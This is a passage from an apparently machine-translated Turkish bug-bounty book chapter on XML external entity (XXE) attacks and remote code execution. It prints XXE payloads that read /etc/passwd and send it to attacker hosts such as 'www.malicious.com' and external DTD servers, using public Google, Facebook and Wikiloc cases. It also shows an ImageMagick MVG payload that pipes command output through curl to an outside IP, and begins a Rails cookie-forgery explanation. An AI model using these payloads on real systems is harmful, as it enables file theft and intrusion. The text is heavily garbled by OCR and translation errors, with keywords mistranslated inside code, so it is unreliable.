Ilk basliktan sonra, <jobs> etiketi dahil edilir ve diger tiim <job> etiketlerini cevreler ,
hangi igerir <title> , <tazminat> ve <sorumluluklar> etiketleri. Simdi, HTML ile
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baz etiketler kapanis etiketi gerektirmez (6rnegin, <br> ), tiim XML etiketleri kapanis etiketi gerektirir.
Yine, yukaridaki 6rnegin ¢izim <is> , bir baglangig etiketi ve </ is> olur

ilgili bitig etiketi. Ayrica, her etiketin bir adi vardir ve bir niteligi olabilir.

<job> etiketini kullanarak, etiketin adi isdir ancak oznitelikleri yoktur. diger taraftan <sorumlulugu>

el, isim niteligindeki istege bagh bir dzellik ile sorumluluk tasir .

istege bagh ad1 ve 6zellik degeri 1.

Herhangi biri herhangi bir etiketi tanimlayabildiginden, agik soru daha sonra nasil olur?

Etiketler bir sey olabilirse, bir XML belgesinin nasil ayrigtirtlacagini ve kullanilacagini biliyor musunuz? Peki, gegerli
XML dokiimani gegerlidir, ¢iinkii genel XML kurallarini takip eder (benim igin gerek yok)

hepsini listele ama kapanis etiketi olmasi yukarida bahsettigim bir 6rnektir)

belge tiirii tanimi (DTD). DTD buna dalmamizin tek nedeni.

¢linkii bu, bilgisayar korsanlar olarak istismarimizi saglayacak seylerden biri.



Bir XML DTD, kullanilan etiketler i¢in bir tanim belgesi gibidir ve
XML tasarimcisi veya yazar. Yukaridaki drnekte, benden beri tasarimei olurdum.

isler belgesini XML olarak tanimladi. Bir DTD hangi etiketlerin bulundugunu, hangi 6zelliklerin oldugunu tanimlayacaktir.
diger elementlerde vb. bulunan elementlere sahip olabilirler.

Kendi DTD'lerimizi olusturabilirim, bazilari resmilestirildi ve bunlar da dahil

Gergekten Basit Sendikasyon (RSS), genel veri kaynaklar1 (RDF), saglik bilgileri

(HL7 SGML / XML) vb.

Iste benim DTD dosyasi yukaridaki XML'imde nasil gériindiigii:

<! ELEMENT isler ( Meslek ) * >

<! ELEMENT is ( Unvan , Tazminat , Sorumluluk ) >
<! ELEMENT Bashk ( #PCDATA ) >

<! ELEMAN Telafisi (#PCDATA ) >

<! ELEMENT Sorumlulugu (#PCDATA)>

<! ATTLIST Sorumluluk istege bagh CDATA "0" >

Buna bakarak, muhtemelen ne anlama geldigini tahmin edebilirsiniz. Bizim <isler> etiketi
aslinda bir XML! ELEMENT ve Job 6gesini igerebilir. Bir is bir!

hepsi ayn1 zamanda bir Baslik, Tazminat ve Sorumluluk i¢erebilir!

ve sadece (#PCDATA) ile gosterilen karakter verilerini igerebilir . Son olarak,! ELEMENT
Sorumlulugun, varsayilan degeri 0 olan, istege bagl bir 6zelligi (! ATTLIST) istege baglh vardir.

Cok zor degil mi? DTD'lere ek olarak, hala sahip olmadigimiz iki 6nemli etiket var.
discused ,! DOCTYPE ve ! ENTITY etiketleri. Bu noktaya kadar, DTD'yi kigkirttim.
dosyalar1 bizim XML’in disindadir. Yukaridaki ilk 6rnegi, XML belgesini hatirlayin
Ikinci 6rnekte DTD tarafindan yapilan etiket tanimlarini igermiyordu.

Ancak, DTD'yi XML belgesinin i¢ine dahil etmek ve bunu yapmak miimkiindiir.
XML'in ilk satir1 bir <! DOCTYPE> elemani olmalidir. Tki 6rnegimizi birlestirerek
yukarida, suna benzeyen bir belge aliriz:
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<? xml version = "1.0" encoding = "UTF-8"?>
<1 DOCTYPE fsleri [
<! ELEMENT {5 (Unvan, Tazminat, Sorumluluk)>
<! ELEMENT Basglik (#PCDATA)>
<! ELEMAN Telafisi (#PCDATA)>
<! ELEMENT Sorumlulugu (#PCDATA)>
<! ATTLIST Sorumluluk istege bagli CDATA "0">
>
<isler>
<ig>
<title> Hacker </title>
<telafi> 1000000 </ telafi>
<sorumluluk istege bagli = "1" > Web’i vurun </responsibility>
</ is>

</ isler>

Burada i¢ DTD Beyam olarak adlandirilan seye sahibiz . Hala basladigimizi fark et.
belgemizin UTF-8 ile XML 1.0'a uygun oldugunu gosteren bir bildirim baslig ile
kodlama, ancak hemen sonra, izlenmesi gereken XML i¢in DOCTYPE'1miz1 tanimlariz. kullanma



' . .
AR Rt DAY B O0 b e sient RoBs SR A N e AR o
XML dosyasini ayristirirken. Bu dnemlidir ¢linkii! ENTITY etiketi de benzer sekilde ele almnir.

ve somiiriimiiziin temelini olusturur.

Bir XML varlig bilgi igin bir yer tutucusu gibidir. Onceki drnegimizi tekrar kullanarak,
Her igin web sitemize link vermesini isteseydik, bizim ig¢in sikici olurdu.

Her zaman adresi yaziniz, 6zellikle de URL’niz degisebiliyorsa. Bunun yerine, bir

! ENTITY ve ayristiriciy: ayristirma sirasinda igerigini alip ekleme

belgeye deger. Umarim bununla nereye gittigimi goriirsiin.

Harici bir DTD dosyasina benzer sekilde, XML dosyamizi bu fikri icerecek sekilde giincelleyebiliriz:

<? xml version = "1.0" encoding = "UTF-8"?>

<! DOCTYPE Isleri [

<! ELEMENT Is (Unvan, Tazminat, Sorumluluk, Web Sitesi)>
<! ELEMENT Bagslik (#PCDATA)>

<! ELEMAN Telafisi (#PCDATA)>

<! ELEMENT Sorumlulugu (#PCDATA)>

<! ATTLIST Sorumluluk istege bagli CDATA "0">

<! ELEMENT Web sitesi HERHANGI BiR>

<! ENTITY url SYSTEM "web sitesi.txt">

>

<isler>
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<ig>
<title> Hacker </title>
<telafi> 1000000 </ telafi>
<sorumluluk istege bagli = "1" > Web’i vurun </responsibility>
<website> & url; </ website>
</ ig>

</ isler>

Burada, devam ettigimi ve bir Web Sitesi ekledigimi goreceksiniz!
(#PCDATA), HERHANGI ekledim. Bu, Web sitesi etiketinin herhangi bir kombinasyonu igerebilecegi anlamina gelir
ayristirilabilir veri. Ayristiricty1 sdyleyen SYSTEM niteligindeki bir! ENTITY de tanimladim

website.txt dosyasinin igerigini almak icin. Isler simdi daha da netlesmeli.

Bunlari bir araya getirmek, “website.txt” yerine, ne olacagini diisiiniiyorsunuz?
“/ etc / passwd” dahil mi? Tahmin edebileceginiz gibi, XML'imiz ayristirtlacak ve
Hassas sunucu dosyasinin igerigi / etc / passwd igerigimize dahil edilecektir. Fakat

XML'in yazarlariyiz, peki neden bunu yapalim?

Sey, bir XXE saldiris1, magdur bir uygulamanin dahil edilmesini kétiiye kullanabilecegi zaman miimkiin olur
bu tiir dig varliklar XML ayristirmalarinda. Baska bir deyisle, uygulamanin bazi

XML beklentileri ancak ne aldiklarini dogrulamamaktadir ve bu yiizden ne aldigini ayristirir.

Ornegin, bir is tahtas1 ¢alistirdigim ve kayit olmaniza ve yiiklemenize izin verdigimi varsayalim.

XML iizerinden isler. Bagvurum gelistirilirken DTD dosyamun size ve

gereksinimleri karsilayan bir dosya gondereceginizi varsayalim. Tehlikenin taninmamast

Bundan, herhangi bir onay almadan aldigim seyi masumca ayrigtirmaya karar verdim. Ama olmak

korsan, gondermeye karar verdin:



<? xml version ="1.0" kodlama = "ISO-8859-1"7>
<I DOCTYPE foo [

<! ELEMENT foo ANY>
<! ENTITY xxe SYSTEM "dosyast: // etc / passwd">
]

>

<foo> & xxe; </ foo>

Simdi bildiginiz gibi, ¢dziimleyicim bunu alacak ve tanimlayan dahili bir DTD tantyacaktir.
foo Belge Tiirii'niin kendisine ayristirilabilir verileri igerebilecegini ve

!/ Etc / passwd dosyasini okumam gereken ENTITY xxe (dosyanin kullanimz: //

Belge ayristirildiginda ve / etc / passwd dosyasina giden tam dosya uri yolu) & xxe;

bu dosya igerigine sahip 6geler. Sonra, onu tanimlayan gegerli XML ile bitirirsiniz.

Sunucu bilgilerimi basan <foo> etiketi. Ve bu arkadaslar, XXE'nin bu kadar tehlikeli olmasinin nedeni.

Fakat bekleyin, dahas1 var. Uygulama yamt yazdirmadiysa, yalnizca ayristirilirsa
iceriginiz. Yukaridaki drnegi kullanarak, igerik ayristirilir, ancak hicbir zaman iade edilmez

Sayfa 116

XML D1s Varligi Giivenlik A¢igt 104

bize. Peki, yerel bir dosya eklemek yerine, bir baglant1 kurmaya karar vermisseniz
Bunun gibi kotii niyetli sunucu:

<? xml version = "1.0" kodlama = "ISO-8859-1"7>
<! DOCTYPE foo [
<! ELEMENT foo ANY>
<! ENTITY% xxe SYSTEM "dosyast: /// etc / passwd">
<! ENTITY callhome SYSTEM "www.malicious.com /?% Xxe;">
]
>

<foo> & callhome; </ foo>

Bunu agiklamadan 6nce,% 'in yerine%' sini almis olabilirsiniz.

callhome URL'sinde,% xxe ;. Bunun nedeni, varligin ne zaman kullanilmasi gerektigi

DTD tanimu igerisinde ve kurum i¢inde degerlendirildiginde

XML belgesi. Simdi, XML belgesi ayristirildiginda, callhome! ENTITY

/ etc / passwd dosyasinin i¢erigini okuyun ve www.malicous.com adresine uzaktan ¢agri yapin.

dosya igerigini URL parametresi olarak gonderme. O sunucuyu kontrol ettigimizden, kontrol edebiliriz.
Giinliiklerimiz ve yeterince / / etc / passwd igerigine sahip oldugunuzdan emin olabilirsiniz. Web i¢in oyun bitti
uygulama.

Peki, siteler bunlart XXE agiklarma kargi nasil korur? Ayristirmayi devre disi birakirlar

dig varliklar
Ornekler

1. Google’a Erisimi Okuyun

Zorluk : Orta
URL : google.com/gadgets/directory?synd=toolbar

Rapor Baglantisi : Blog'u Algila 1


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers
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Rapor Tarihi : Nisan 2014
Odemeli Odiil : 10.000 $

Tamum :

XML ve dis varliklar hakkinda ne bildigimizi bilerek, bu giivenlik a¢ig1 aslinda
oldukga yalindir. Google’in Arag Cubugu diigme galerisi gelistiricilerin tanimlamasina izin verdi
belirli meta verileri iceren XML dosyalarini yiikleyerek kendi diigmeleri.

! https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers

XML Dis Varligi Giivenlik A¢igi

Ancak, Detectify ekibine gore,! ENTITY ile bir XML dosyasi yiikleyerek

harici bir dosyaya atifta bulunarak, Google dosyay1 ayristirdi ve igerigi olusturmaya devam etti.
Sonug olarak, ekip, sunucularm igerigini olusturmak i¢in XXE giivenlik a¢igin1 kullandi

/ etc / passwd dosyasi. Oyun bitti.

Google’in dahili dosyalarinin ekran goriintiisiinii algila

c¢ikarimlar

Biiyiik Cocuklar bile savunmasiz kalabilir. Bu rapor neredeyse 2 yasinda olmasina ragmen,
Hala biiyiik sirketlerin nasil hatalar yapabildiginin harika bir 6rnegi. Gerekli olan

Bunu kaldirmak i¢in XML, XML ayristiric: kullanan sitelere kolayca yiiklenebilir.

Ancak, bazen site yanit vermez, bu nedenle digerlerini denemeniz gerekir

Yukaridaki OWASP kopya sayfasindan girdi.

2. Word ile Facebook XXE

Zorluk : Zor

105


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers

URL : facebook.com/careers
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Rapor Baglantisi : Giivenli Saldiri»
Rapor Tarihi : Nisan 2014
Odemeli Odiil : 6.300

Tamm :

Bu XXE, icerdigi ilk 6rnekten biraz farkli ve daha zorlu
aciklamasinda anlattigimiz gibi uzaktan bir sunucu ¢agirtyor.

2013 yilinin sonlarinda, Facebook, Reginaldo Silva’nin yagayabilecegi bir XXE giivenlik acig1 yatt1.
potansiyel olarak, igerikten bu yana bir Uzaktan Kod Yiriitme giivenlik ag1g1 nedeniyle yiikseltilmis olabilir
/ etc / passwd dosyasindan erisilebilir. Bu yaklagik 30.000 $ 6dedi.

Sonug olarak, Mohamed Nisan 2014’te Facebook’u hacklemek i¢in kendini zorladiginda,

XXE’in kariyer sayfalarini bulana ve kullanicilarin izin vermesine izin veren bir olasilik oldugunu diisiiniyorum.
XML igerebilen .docx dosyalarini yiikleyin. Bu habersizler i¢gin, .docx dosya tiirii yalnizca

XML dosyalart i¢in bir arsiv. Boylece Mohamed'e gore bir .docx dosyasi olugturdu ve agti

icerigi ¢ikarmak i¢in 7zip ile ve asagidaki yiikii XML'den birine ekledi

Dosyalar:

<! DOCTYPE kokii [

<! ENTITY % dosya SISTEMI "dosya: /// etc / passwd" >

<! ENTITY % dtd SISTEMI "http://197.37.102.90/ext.dtd" >
% dtd ;

% gonder ;

e

Anlayacaginiz gibi, magdurun dis varliklar etkinse, XML ayristiricist
& dtd; degerini degerlendirin http://197.37.102.90/ext.dtd adresine uzaktan arama yapan varlik. o
¢agr1 geri donecekti:

<! ENTITY SYSTEM gonder 'http://197.37.102.90/?FACEBOOK-HACKED%26file;' > "

Yani, simdi% dtd; harici ext.dtd dosyasina referans verir ve% gonderir; varlik

mevcut. Ardindan, ¢dziimleyici% géndermeyi ayristirir; Bu aslinda bir uzaktan kumanda olurdu
http://197.37.102.90/%file; Dosya; bagvuru aslinda referans igin

/ etc / passwd dosyasini, icerigini http://197.37.102.90/%file dosyasina ekleme gabastyla;
aramak.

Bunun sonucu olarak, Mohamed kullanarak arama ve icerik almak i¢in yerel bir sunucu baglatti.
Python ve SimpleHTTPServer. Ik basta bir cevap alamadi ama bekledi
sonra bunu aldi:

2 http://www.attack-secure.com/blog/hacked-facebook-word-document


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://www.attack-secure.com/blog/hacked-facebook-word-document
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://www.attack-secure.com/blog/hacked-facebook-word-document
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Son giris: Tue Tem 8 09:11:09 Konsolda

Mohamed: ~ mohaab007: sudo pitonu -m SimpleHTTPServer 80

Parola:

0.0.0.0 portu 80°de HTTP’ye hizmet veriyor ...

173.252.71.129 - [08 / Jul / 2014 09:21:10] "GET /ext.dtd HTTP / 1.0" 200 -

173.252.71.129 - [08 / Jul / 2014 09:21:11] "GET /ext.dtd HTTP / 1.0" 200 -

173.252.71.129 - [08 / Jul / 2014 09:21:11] kod 404, mesaj Dosya bulunamadi

173.252.71.129 - [08 / Jul / 2014 09:21:11] "GET / FACEBOOK-HACKED? HTTP / 1.0" 404

Bu, SimpleHTTPServer' ¢aligtirmak igin verilen komutla baglar. Terminal porsiyonda oturur

sunucuya bir HTTP istegi gelene kadar Bu bir aldiginda olur

/Ext.dtd GET istegi. Sonugta, beklendigi gibi, daha sonra geri aramay1 goriiyoruz.

sunucu / FACEBOOK-HACKED? fakat ne yazik ki, / etc / passwd igerigi olmadan

dosya eklendi. Bu, Mohamed'in yerel dosyalar1 okuyamadigi veya / etc / passwd'nin okumadig1 anlamina gelir
var olmak.

Devam etmeden Once isaretlemeliyim - Mohamed olmayan bir dosya gonderebilirdi

<! ENTITY% dtd SYSTEM “http://197.37.102.90/ext.dtd”> dahil, yalnizca

yerel dosyay1 okumaya ¢aligin. Ancak, onun adimlarini izleyen deger ilk aramanin

Uzak DTD dosyasi igin, eger basaril olursa, bir XXE giivenlik a¢1g1 gosterecektir. Girisimi

/ etc / passwd dosyasini ¢ikartmak, XXE iriiniinii kotiiye kullanmanin yalnizca bir yoludur. Yani, bu durumda, o beri
Facebook sunucusuna HTTP ¢agrilarini kaydetti, ayristirildiklarini ispatlayabildi

uzak XML varliklar1 ve bir giivenlik agig1 vardi.

Ancak, Mohamed hatay1 bildirdiginde, Facebook bunun i¢in bir kanit isteginde bulundu

Konsept videosu, sorunu tekrarlayamadiklari i¢in. Bunu yaptiktan sonra Facebook

Daha sonra, ige alan kisinin bir linke tikladigini bildiren bagvuruyu reddetti.

Bu, sunucusuna istek baslatti. Facebook bazi e-postalar: degistirdikten sonra

Ekip, giivenlik a¢igiin var oldugunu dogrulamak i¢in daha fazla aragtirma yapmig goriiniiyor ve
bir 6diil ald1 ve bu XXE’nin etkisinin daha az siddetli oldugunu agiklayan bir e-posta gonderdi.
2013'teki baslangigtan daha yiiksek, ¢iinkii 2013'teki istismar bir

Uzaktan Kod Yiirtitme islemi devam ederken Mohamed'in hala gegerli bir kurus olmasina ragmen

istismar.
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Facebook resmi cevap

c¢ikarimlar

Burada birkag paket servis var. XML dosyalari farkli sekillerde ve boyutlarda gelir
- .docx, .xIsx, .pptx, vb. kabul eden sitelere dikkat edin.

siddetle, bazen hemen XXE'den yanit alamayacaksiniz - bu

Ornek, ping'lenecek bir sunucuyu nasil ayarlayabileceginizi gdsterir.

XXE.

Ek olarak, diger 6rneklerde oldugu gibi, bazen raporlar baslangicta reddedilir.
Sizinle ¢aligmaniz i¢in kendinize giivenmeniz ve baglh kalmaniz énemlidir.
neden rapor ederken, kararlarina saygi duyarak, bir seyin nedenini agtklarken
bir giivenlik ag181 olabilir.

3. Wikiloc XXE

Zorluk : Zor

URL : wikiloc.com
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Rapor Baglantisi : David Sopas Blog 3
Rapor Tarihi : 2015

Odemeli Odiil : Swag

Tanim :

Sitelerine gore, Wikiloc en iyi agik hava rotalarini kesfetmek ve paylagsmak i¢in bir yerdir



yiiriiyiis, bisiklet ve diger birgok aktivite. Ilging bir sekilde, kullanicilarin kendi
David gibi bisiklet¢i korsanlari i¢in oldukga cazip oldugu ortaya ¢ikan XML dosyalari araciligiyla kendi izlerimiz
Sopas.

David, Wikiloc'a yazdig1 kayitlara dayanarak XML yiiklemesini fark etti, karar verdi.

XXE giivenlik ac1g1 i¢in sinamak i¢in. Baglamak i¢in siteden bir dosya indirdi.

XML yapilari, bu durumda, bir .gpx dosyasi ve enjekte edilmis ** <! DOCTYPE foo [<! ENTITY xxe
SISTEM “http://www.davidsopas.com/XXE”>]>;

Daha sonra, satir 13'teki .gpx dosyasindaki par¢a adindan varligi ¢agirdi:

1 <! DOCTYPE foo [<! ENTITY xxe SISTEMI "http://www.davidsopas.com/XXE"> ]>
2 <gpx
3 stirim = "1.0"
4 creator = "GPSBabel - http://www.gpsbabel.org"
5 xmlns: xsi = "http://www.w3.0rg/2001/XMLSchema-instance"
6 xmlns = "http://www.topografix.com/GPX/1/0"
7 xsi: schemaLocation = "http://www.topografix.com/GPX/1/1 http: /www.topografix.com \
8/ GPX/ 1/1/ gpx.xsd " >
9 <time> 2015-10-29T12: 53: 09Z </time>
10 <smmirlar minlat = "40.734267000" minlon = "-8.265529000" maxlat = "40.881475000" maxlon \
11="-8,037170000" />
12 <trk>
13 <name> & xxe; </ name>
14 <trkseg>
15 <trkpt lat = "40.737758000" lon = "-8.093361000" >
16 <ele> 178.000000 </ele>
17 <time> 2009-01-10T14: 18: 10Z </time>

18(...)

Bu, sunucusuna yapilan bir GET istegi ile sonuglandi, GET 144.76.194.66 / XXE / 10/29/15
13:02 Java / 1.7.0_51 . Bu, iki nedenden &tiirii, ilk dnce basit bir kanit kullanarak

Konsept ¢agrisinda David, sunucunun enjekte edilen XML'ini degerlendirdigini dogruladi ve
sunucu harici aramalar yapards. Ikincisi, David mevcut XML belgesini kulland:

Boylece igerigi sitenin bekledigi yapiya siZacak. O tartismazken

3
www.davidsopas.com/wikiloc-xxe-vulnerability
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o0, / etc / passwd dosyasini okuyabilmigse sunucusunu arama ihtiyaci duyulmayabilir.

dosya ve igerigini <name> 6gesinde olusturdu.

Wikiloc'un harici HTTP istekleri yapacagini1 onayladiktan sonra, diger tek soru
Yerel dosyalar1 okuyacak olsaydi. Boylece, enjekte edilen XML'ini Wikiloc'un géndermesi igin degistirdi.

/ etc / passwd dosya igerikleri:

1 <! DOCTYPE kok etiketi [

2 <! ENTITY % dosya SISTEMI "dosya: /// etc / issue" >

3 <IENTITY % dtd SISTEMI "http://www.davidsopas.com/poc/xxe.dtd" >
%4 dtd ;] >

5 <gpx

6 siirim = "1.0"

7 creator = "GPSBabel - http://www.gpsbabel.org"



8 xmlns : xsi = "http://www.w3.0rg/2001/XMLSchema-instance"
9 xmlns = "http://www.topografix.com/GPX/1/0"
10 xsi : schemaLocation = "http://www.topografix.com/GPX/1/1 http: //www.topografix.com \
11/ GPX/ 1/1/ gpx.xsd " >
12 < zaman > 2015-10-29 T12 : 53:09 Z </ zaman >
13 < minlat = = 40.734267000 " minlon =" -8.265529000 " maxlat = " 40.881475000 " maxlon \
14 ="-8.037170000" />
15 <trk >
16 <isim > & gonder; </ name >

17(.)

Bu tanidik gelmeli. Burada, degerlendirilecek olan iki varligi kullandi.
DTD,% kullanarak tanimlanirlar. & Gonder; aslinda <name> etiketinde

Wikiloc'a geri verdigi xxe.dtd dosyas tarafindan tanimlanir. Iste bu dosya:

<? xml version = "1.0" encoding = "UTF-8" 7>
<! ENTITY % all "<! ENTITY SISTEMI gonder 'http://www.davidsopas.com/XXE?%file;>" >
% hepsi ;

% Hepsine dikkat edin; Bu da aslinda bizim dikkatimizi!
<name> etiketi. Iste degerlendirme siireci soyle:

1. Wikiloc, XML'i ayristirir ve% dtd'yi degerlendirir; David sunucusuna harici bir ¢agri olarak
2. David'in sunucusu xxe.dtd dosyasin1 Wikiloc'a dondjiriir

3. Wikiloc, aramay1% all 6gesine tetikleyen alinan DTD dosyasini ayristirir.

4.% tiimii degerlendirildiginde, tanimlar ve gonderir; varlik% dosyasindaki bir ¢agriy1 icerir
5.% dosya; url degerinde / etc / passwd dosyasinin igerigiyle degistirildi
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6. Wikiloc, & gonder; olarak degerlendiren isletme
/ etc / passwd igeriginde bir parametre olarak David sunucusuna uzaktan ¢agri
URL

Kendi sozleriyle, oyun bitti.

c¢ikarimlar

Belirtildigi gibi, bu, XML sablonlarini nasil kullanabileceginizi gosteren harika bir 6rnek.

kendi XML varliklarinizi gémmek igin bir dosya olusturun, boylece dosya uygun sekilde ayristirilir
hedef. Bu durumda, Wikiloc bir .gpx dosyasi bekliyordu ve David bunu siirdiirdii

kendi XML varliklarin1 beklenen etiketlerin igine, 6zellikle

<name> etiketi. Ayrica, k6t amagli bir dtd dosyasina nasil hizmet edildigini gormek ilging

daha sonra bir hedef igin GET istekleri yapmak bir hedef olmast igin geri kaldirag edilebilir

URL parametreleri olarak dosya igerigi ile sunucu.

ozet
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B2 P RoART Ak deing ik aplduLaskiduinf dsmsil ediyor. Birkag yolu var.

/ etc / passwd dosyasini basmak, / etc / passwd dosyasi ile uzak bir sunucuya ¢agirmak ve
ayrigtiriciya bir sunucuya geri arama yapma talimati veren uzak bir DTD dosyasi i¢in ¢agri
/ etc / passwd dosyasi.

Bir bilgisayar korsani olarak, dosya yiiklemelerine, 6zellikle de bir sekilde alanlara dikkat edin.
XML, bunlar her zaman XXE agiklar i¢in test edilmelidir.

14. Uzaktan Kod Yiiritme

Aciklama

Uzaktan Kod Yiiriitme, tarafindan yorumlanan ve yiiriitiilen
savunmasiz bir uygulama. Bu, genellikle giris yapan bir kullanici tarafindan

uygulama herhangi bir sterilizasyon veya onaylama islemi yapmadan kullanir.

Bu asagidaki gibi goriinebilir:

$var=% GET ['sayfa'];

eval (§ var);

Burada, savunmasiz bir uygulama url kullanabilir index.php? Page = 1 ancak, eger
kullanici index.php? page = 1 girer ; phpinfo () uygulama phpinfo () islevini ytiriitiir
islevini yerine getirin ve icerigini dondiiriin.

Benzer sekilde, Uzaktan Kod Yiiriitme bazen Komut Enjeksiyonuna atifta bulunmak igin kullanilir
OWASP farklilagtirir. OWASP'ye gére, Komuta Enjeksiyonu ile hassas bir

uygulama, ana bilgisayar isletim sisteminde rasgele komutlar yiiriitiir. Yine, bu

Kullaniciya yol agan kullanici girisini uygun sekilde dezenfekte ederek ya da onaylayarak miimkiin kilma
isletim sistemi komutlarina giris yapilmakta.

Ornegin, PHP'de bu, kullanici girisinin sisteme iletilmesi gibi gériinebilir ().
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islevi.

Ornekler

1. Polyvore ImageMagick

Zorluk : Yiiksek
URL : Polyvore.com (Yahoo Edinimi)

Rapor Baglantisi : http://nahamsec.com/exploiting-imagemagick-on-yahoo/ 1

Rapor Tarihi : 5 May 2016

Odemeli Odiil : 2000 Dolar

Uzaktan Kod Yiiriitme

Tamum :

ImageMagick, kirpma gibi gériintiileri islemek i¢in yaygin olarak kullanilan bir yazilim paketidir.
ol¢ekleme, vb. PHP'nin imgesi, Ruby'nin rmagick'i ve atag ve NodeJS'in imgesi
yararlanin ve Nisan 2016°da kiitiiphanede birden fazla giivenlik ag1g1 bulundugu,

bunlardan biri odaklanacagim uzak kodu ¢alistirmak i¢in saldirganlar tarafindan kullanilabilir.

Ozet olarak, ImageMagick, kendisine iletilen dosya adlarini ve

sonunda bir system () yontemi ¢agrisini yliriitmek i¢in kullanilir. Sonug olarak, bir saldirgan igeri girebilir
calistirilacak komutlar, https://example.com > gibi ” | Is “-la calistirilacak.

ImageMagick’ten bir 6rnek sdyle goriiniir:

doniistiirmek 'https://example.com "| Is" -la' out.png

Simdi, ilging bir sekilde ImageMagick, Magick Vector Graphics (MVG) i¢in kendi sdzdizimini tanimlar.
Dosyalar. Boylece, bir saldirgan exploit.mvg dosyasini asagidaki kodla olusturabilir:

grafik baglaminu it

goriiniim kutusu 0 0 640 480

'url (https://example.com/image.jpg "| Is" -la)' doldurun
pop grafik baglami

Bu daha sonra kiitiiphaneye gececekti ve eger bir site savunmasiz olsaydi, kod
dizindeki dosyalar1 listeleme.

Bu arkaplan 15181nda, Ben Sadeghipour bir Yahoo satin alma sitesini test etti.

Polyvore, giivenlik a¢i1g1 i¢in. Blog yazisinda belirtildigi gibi, Ben dnce

mvg dosyasinin galistigini dogrulamak igin kontrol ettigi yerel bir makinedeki giivenlik ag1g1
uygun sekilde. Iste kullandig1 kod:

grafik baglamini it

goriiniim kutusu 0 0 640 480

0,0 0,0 'tizerindeki resim https://127.0.0.1/x.php?x="id | kivirmak http: / SOMEIPADDRESS: 80 \
80/-d @ ->/dev/null'"'

113


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://nahamsec.com/exploiting-imagemagick-on-yahoo/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://nahamsec.com/exploiting-imagemagick-on-yahoo/

pop grafik baglami

Burada, SOMEIPADDRESS’e ¢agr1 yapmak i¢in cURL kiitiiphanesini kullandigini gorebilirsiniz (degistir)
Bu, sunucunuzun IP adresi ne olursa olsun). Eger basarili olursa, bir

asagidaki gibi cevap:
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Ben Sadeghipour ImageMagick test sunucusu yaniti

Sonra, Ben Polyvore'i ziyaret etti, dosyay1 profil resmi olarak yiikledi ve bunu ald1

sunucusunda yanit:

Ben Sadeghipour Polyvore ImageMagick yamti

cikarimlar

Okuma basarili hacklemenin biiyiik bir pargasidir ve okuma hakkinda

yazilim agiklar1 ve Ortak Giivenlik Agiklari ve Etkilenmeler (CVE Iden-

tifiers). Ge¢mis giivenlik agiklarini bilmek, karsilastiginizda size yardimer olabilir
giivenlik giincellemelerine uymayan siteler. Bu durumda, Yahoo yamaliyd:
Sunucu ancak yanlis yapildi (ne oldugunu bulamadim

demek). Sonug olarak, ImageMagick giivenlik agigini bilmek Ben'e izin verdi
2000 dolarlik bir édiille sonuglanan bu yazilimi ézellikle hedeflemek.

2. facebooksearch.algolia.com web sitesinde Algolia RCE

Zorluk : Yiksek

URL : facebooksearch.algolia.com

Rapor Baglantisi : https://hackerone.com/reports/134321>
Rapor Tarihi : 25 Nisan 2016

Odemeli Odiil : 500 Dolar


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/134321
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Tamm :

25 Nisan 2016'da HackerOne'un kurucusu Michiel Prins baz1 kesifler yapiyordu.
Algolia.com’daki nadide ¢alismasi, Algrob’un yaptig: fark edildiginde Gitrob aracini kullanarak
halka agik bir depoya kendi secret_key base'lerini agik bir sekilde taahhiit etti. Buna dahil olmak
kitabin boliimii agik¢a Michiel'in uzaktan kod ¢aligtirma gergeklestirdigi anlamina geliyor.

asagl.

Birincisi Gitrob, GitHub API'sini kullanacak harika bir aragtir (Araglar boliimiinde bulunur).

kamuya acik depolar1 hassas dosyalar ve bilgiler i¢in taramak. Bir tohum deposu alir

bir girdi olarak ve aslinda yazarlarin katki sagladigi tiim depolari orter.

ilk tohum deposu. Bu havuzlarla, hassas dosyalar1 temel alarak arama yapar.

gibi hassas dosya uzantilar1 da dahil olmak iizere sifre, sir, veritabani vb. gibi anahtar kelimeler iizerinde
.Sql.

Oyleyse, Gitrob Angolia'nin facebook'ta secret_token.rb dosyasimi isaretlemis olacakti.

gizli sdzcligii nedeniyle depoda arama yap. Simdi, Ruby on Rails'e agina iseniz,

bu dosya sizin i¢in kirmizi bir bayrak agmali, Rails'in saklandig1 dosya secret key base,

Rails gerezlerini dogrulamak i¢in kullandig: i¢in asla halka agiklanmamasi gereken bir deger.

Dosyaya bakildiginda, Angolia'nin bu degeri halka agiklamis oldugunu ortaya koydu.

depo (hala https://github.com/algolia/facebook-search/- adresindeki taahhiidii gorebilirsiniz.

) / F3adccb55328988088f90eb57¢cf991e2d499b49 # fark-afe98573d9aad940bb0f531ea55734f8R 12 taahhiit.
Bir kenara, ne yapilmasi gerektigini merak ediyorsaniz, bu bir ortamdi.

degeri degil bir konumdan okuyan ENV ['SECRET KEY BASE'] gibi bir ronment degiskeni

depoya adanmis.

Simdi, secret_key base'in 6nemli olmasinin nedeni Rails'in onu kullanmasidir.

cerezlerini dogrulamak i¢in. Rails'deki bir oturum cerezi, / MyApp - gibi gériinecek

oturumu = BAh7B0kiD3NI1c3Npb25faWQGOdxM3MIBjsARg% 3D% 3D-dc40a55cd52fe32bb3b8
(Bu degerleri sayfaya sigacak sekilde dnemli 6l¢lide kirptim). Burada, dnceki her sey -

bir base64 kodlanmis, serilestirilmis nesne. -'Den sonraki par¢a bir HMAC imzasidir.

Raylar, nesnenin gecerliligini ilk yaridan dogrulamak i¢in kullanir. HMAC imzas1

sirr1 bir girdi olarak kullanarak yaratti. Sonug olarak, eger sirrini biliyorsaniz, sahte olabilirsiniz.
kendi kurabiyelerin.

Bu noktada, serilestirilmis nesneyi ve ortaya ¢ikardiklar tehlikeyi bilmiyorsaniz,
kendi kurabiyelerini hazirlamak zararsiz gériinebilir. Ancak, Rails ¢erezi aldiginda
